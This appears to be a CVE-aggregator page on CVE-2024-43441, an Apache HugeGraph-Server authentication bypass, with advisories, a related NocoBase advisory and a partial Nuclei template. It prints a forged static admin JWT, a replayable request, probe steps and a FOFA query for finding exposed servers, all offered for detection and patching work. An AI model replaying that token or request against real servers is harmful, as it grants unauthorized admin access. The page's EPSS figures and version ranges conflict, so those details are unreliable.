CVE-2024-43441
published 2024-12-24CVE-2024-43441: Authentication Bypass by Assumed-Immutable Data vulnerability in Apache HugeGraph-Server. This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.5.0…
PriorityP183critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
69.65%
99.3th percentile
Authentication Bypass by Assumed-Immutable Data vulnerability in Apache HugeGraph-Server.
This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.5.0.
Users are recommended to upgrade to version 1.5.0, which fixes the issue.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | hugegraph | >= 1.0.0 < 1.5.0 | 1.5.0 |
| apache_software_foundation | apache_hugegraph-server | >= 1.0.0 < 1.5.0 | 1.5.0 |
| nocobase | auth | >= 0 < 1.9.0-beta.18 | 1.9.0-beta.18 |
| nocobase | auth | >= 1.9.0 < 1.9.23 | 1.9.23 |
| nocobase | auth | >= 2.0.0-alpha.1 < 2.0.0-alpha.52 | 2.0.0-alpha.52 |
Detection & IOCsextracted from sources · hover to see the quote
othereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjIwNzE0NzY4MzB9.vb193qf4xpIPFcmCN8J0sRwqUaoS2RAUvFx9uLC-I7Q
url/graphs
commandGET /graphs HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjIwNzE0NzY4MzB9.vb193qf4xpIPFcmCN8J0sRwqUaoS2RAUvFx9uLC-I7Q
- →Probe for CVE-2024-43441 by first confirming the endpoint returns HTTP 401 without credentials, then replaying with the hardcoded static JWT Bearer token; a 200 response containing 'graphs' and 'hugegraph' with Content-Type application/json confirms successful authentication bypass.
- →FOFA fingerprinting query for exposed HugeGraph-Server instances: title="HugeGraph"
- →The exploit uses a static, pre-signed JWT with user_name 'admin' and a far-future expiry (exp: 2071476830). Detect requests to /graphs carrying this specific Authorization Bearer token in HTTP logs.
- ·The static JWT token embedded in the PoC template has a hardcoded far-future expiry (exp: 2071476830) and is signed with a known/weak secret, making it reusable across all unpatched instances. This is the assumed-immutable data the CVE refers to.
- ·Affected versions are 1.0.0 through 1.3.x (before 1.5.0). The fix is only available in version 1.5.0; there is no intermediate patch. ↗
- ·EPSS score of 0.90157 (99.589th percentile) indicates very high probability of exploitation in the wild; patching should be treated as urgent, especially given the holiday-period disclosure timing.
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ghsa9.8CRITICAL
osv9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Authentication Bypass via Default JWT Secret in NocoBase docker-compose Deployments
ghsa·2025-12-09·CVSS 9.8
CVE-2025-13877 [CRITICAL] CWE-1320 Authentication Bypass via Default JWT Secret in NocoBase docker-compose Deployments
Authentication Bypass via Default JWT Secret in NocoBase docker-compose Deployments
### Impact
CVE-2025-13877 is an **authentication bypass vulnerability caused by insecure default JWT key usage** in NocoBase Docker deployments.
Because the official one-click Docker deployment configuration historically provided a **public default JWT key**, attackers can **forge valid JWT tokens without possessing any legitimate credentials**. By constructing a token with a known `userId` (commonly the administrator account), an attacker can directly bypass authentication and authorization checks.
Successful exploitation allows an attacker to:
- Bypass authentication entirely
- Impersonate arbitrary users
- Gain full administrator privileges
- Access sensitive business data
- Create, modify, or delet
OSV
Authentication Bypass via Default JWT Secret in NocoBase docker-compose Deployments
osv·2025-12-09·CVSS 9.8
CVE-2025-13877 [CRITICAL] Authentication Bypass via Default JWT Secret in NocoBase docker-compose Deployments
Authentication Bypass via Default JWT Secret in NocoBase docker-compose Deployments
### Impact
CVE-2025-13877 is an **authentication bypass vulnerability caused by insecure default JWT key usage** in NocoBase Docker deployments.
Because the official one-click Docker deployment configuration historically provided a **public default JWT key**, attackers can **forge valid JWT tokens without possessing any legitimate credentials**. By constructing a token with a known `userId` (commonly the administrator account), an attacker can directly bypass authentication and authorization checks.
Successful exploitation allows an attacker to:
- Bypass authentication entirely
- Impersonate arbitrary users
- Gain full administrator privileges
- Access sensitive business data
- Create, modify, or delet
GHSA
Apache HugeGraph-Server: Fixed JWT Token (Secret)
ghsa·2024-12-24
CVE-2024-43441 [CRITICAL] CWE-302 Apache HugeGraph-Server: Fixed JWT Token (Secret)
Apache HugeGraph-Server: Fixed JWT Token (Secret)
Authentication Bypass by Assumed-Immutable Data vulnerability in Apache HugeGraph-Server.
This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.5.0.
Users are recommended to upgrade to version 1.5.0, which fixes the issue.
OSV
Apache HugeGraph-Server: Fixed JWT Token (Secret)
osv·2024-12-24
CVE-2024-43441 [CRITICAL] Apache HugeGraph-Server: Fixed JWT Token (Secret)
Apache HugeGraph-Server: Fixed JWT Token (Secret)
Authentication Bypass by Assumed-Immutable Data vulnerability in Apache HugeGraph-Server.
This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.5.0.
Users are recommended to upgrade to version 1.5.0, which fixes the issue.
No detection rules found.
Nuclei
Apache HugeGraph-Server <1.5.0 - Authentication Bypass
nuclei·CVSS 9.8
CVE-2024-43441 [CRITICAL] Apache HugeGraph-Server <1.5.0 - Authentication Bypass
Apache HugeGraph-Server <1.5.0 - Authentication Bypass
Apache HugeGraph-Server versions prior to 1.5.0 contain an authentication bypass vulnerability caused by assumed-immutable data. This flaw allows attackers to bypass authentication mechanisms without requiring specific privileges or user interaction.
Template:
id: CVE-2024-43441
info:
name: Apache HugeGraph-Server <1.5.0 - Authentication Bypass
author: wn147
severity: critical
description: |
Apache HugeGraph-Server versions prior to 1.5.0 contain an authentication bypass vulnerability caused by assumed-immutable data. This flaw allows attackers to bypass authentication mechanisms without requiring specific privileges or user interaction.
impact: |
Attackers can bypass authentication, gaining unauthorized access to sensitive data or
2024-12-24
Published